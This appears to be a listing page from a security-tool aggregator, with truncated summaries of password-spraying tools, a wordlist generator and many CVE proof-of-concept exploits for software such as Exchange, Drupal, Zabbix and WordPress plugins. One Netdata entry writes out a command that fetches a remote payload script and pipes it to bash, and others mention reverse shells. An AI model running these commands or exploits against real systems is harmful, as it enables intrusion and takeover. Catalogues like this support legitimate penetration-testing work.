SprayingToolkit

Deprecation Notice This project is no longer maintained. The following alternative projects are better and actively maintained: TREVORspray CredMaster SprayingToolkit Description A set of Python scripts/utilities that tries to make password spraying attacks against Lync/S4B & OWA a lot quicker,...

gorilla

gorilla gorilla is the ultimate wordlist tool packing a lot of amazing utilities like: building wordlists based on patterns like crunch building wordlists based on common password/username formats like cupp scrap a web page and build a wordlist from its words like cewl extending existing wordlist...

CVE-2025-24893

CVE-2025-24893 PoC | XWiki Platform 15.10.10 - Remote Code Execution Una vulnerabilida de categoría RCE Remote Code Execution, encontrada cuando atacantes no autenticados pueden ejecutar codigo Groovy arbitrario remotamente sin la autenticación ni el accesso previo Guest User. A continuación un P...

CVE-2024-2782-PoC

CVE-2024-2782-PoC CVE-2024-2782 Proof-of-Concept The Contact Form Plugin by Fluent Forms for Quiz, Survey, and Drag & Drop WP Form Builder plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the /wp-json/fluentform/v1/global-settings REST A...

CVE-2023-46818

CVE-2023-46818 PoC This is a python implemntation of the PoC provided by Egidio Romano aka EgiX Over here, this exploit will prompt you a webshell, for a fully interactive shell execute a command and send yourself a reveseshell. Usage root@kitploit: python exploit.py http://localhost username...

CVE-2024-2771-PoC

CVE-2024-2771-PoC CVE-2024-2771 Proof-of-Concept The Contact Form Plugin by Fluent Forms for Quiz, Survey, and Drag & Drop WP Form Builder plugin for WordPress is vulnerable to privilege escalation due to a missing capability check on the /wp-json/fluentform/v1/managers REST API endpoint in all...

CVE-2020-0688

CVE-2020-0688 CVE-2020-0688: Remote Code Execution on Microsoft Exchange Server Through Fixed Cryptographic Keys How to run ysonet.exe: download from here Run HTTP server: root@kitploit: python3 -m http.server 8000 Change targeturl and your IP address in pwsh command. Install all python...

Project-Exploitation-of-Webmin-Authentication-Vulnerability

Research Objective: To conduct a comprehensive analysis and successful exploitation of a Remote Code Execution RCE vulnerability in Webmin version 1.890 CVE-2019-15107, ultimately gaining full control over the target system. Methodology: Initial Reconnaissance: Network scanning performed using...

boha v0.20.2

@agntn/puzzles 342 public crypto puzzles and bounties in sixteen collections, as typed records. You ask for a puzzle, you get its address, its key material and what happened on chain. Why? Every puzzle thread has the same three things: the addresses, the prizes, and who solved what. Every scanner...

CVE-2021-24917

Badges License MIT Installation 1. Install Python3 and pip Instructions Here If you can't figure this out, you shouldn't really be using this Install via pip root@kitploit: pip install CVE-2021-24917 Run bellow command to check CVE-2021-24917 -h Configurations 2. We integrated with the Telegram A...

rConfig_rce

rConfig 3.9 Combined SQL Injection and Command Injection PoC Overview This PoC targets rConfig version 3.9.4 and demonstrates exploitation through a combination of SQL Injection and Remote Command Injection vulnerabilities. It automates the process of: 1. Extracting database name via SQLi 2...

CVE-2018-7600-Remote-Code-Execution

Drupalgeddon2 Python Exploit CVE-2018-7600 This repository contains a Python-based proof-of-concept exploit for the critical remote code execution vulnerability in Drupal, known as Drupalgeddon2 CVE-2018-7600. This script is designed for educational purposes and for security professionals to use ...

RemoteMouse-3.008-RCE

CVE-2021-35448 - Remote Mouse Exploit Description This exploit targets the CVE-2021-35448 vulnerability in the Remote Mouse application formerly WiFi Mouse. POC CVE-2021-35448.webm Usage Basic Syntax root@kitploit: python3 CVE-2021-35448.py -t OPTIONS Options -t, --target: Target IP address...

CVE-2025-66478

CVE-2025-66478 - Analysis of Real Attack Logs for Next.js Server Actions RCE Vulnerability Overview This project collects real attack logs recorded from a Next.js 15.1.2 application running in a Docker container exposed to the internet. These logs show how the CVE-2025-66478 vulnerability is bein...

PoC-CVE-2015-10141-Xdebug

PoC-CVE-2015-10141 Custom Python exploit for Xdebug ≤ 2.5.5 CVE-2015-10141. Description This repository contains my Proof-of-Concept PoC exploit for the Xdebug remote code execution vulnerability in versions 2.5.5 and earlier. The script leverages the unauthenticated debugging protocol exposed on...

CVE-2016-0792

Exploit for Jenkins serialization vulnerability - CVE-2016-0792 https://www.exploit-db.com/exploits/42394/ More information can be found here 1. Contrast Security 2. Pentester Lab Requirements 1. Python 3.6.x 2. requests library is required for this exploit to work sudo pip install requests Usage...

CVE-2025-52385

CVE-2025-52385 Software : Studio 3T v.2025.1.0 Vulnerability Report : Studio 3T Remote Command Execution Overview A critical vulnerability in Studio 3T version 2025.1.0 and earlier allows a remote attacker to execute arbitrary code via a crafted payload exploiting the childprocess module in the...

CVE-2024-32019-poc

CVE-2024-32019-poc Netdata ndsudo PoC Build the binary: root@kitploit: go build -ldflags "-s -w" -o nvme poc.go upx nvme Run the bash script: root@kitploit: bash exploit.sh In target machine run in a writable directory: root@kitploit: curl http://:8000/payload.sh | bash It will automatically...

CVE-2024-42327_Zabbix_SQLi

🛡️ Zabbix 7.0.0 SQL Injection Exploit Script A Python script to exploit a Zabbix 7.0.0 authenticated SQL injection vulnerability, supporting multiple modes of action including user data extraction, session token leaks, remote command execution RCE, and custom query injection. ⚠️ DISCLAIMER: This...

Adobe-ColdFusion-8-RCE-CVE-2009-2265

Adobe ColdFusion 8 - Remote Command Execution RCE Exploit Overview This exploit targets a known vulnerability in Adobe ColdFusion 8 CVE-2009-2265. It enables remote command execution RCE by uploading a malicious JSP payload that establishes a reverse shell connection. Exploit Details CVE :...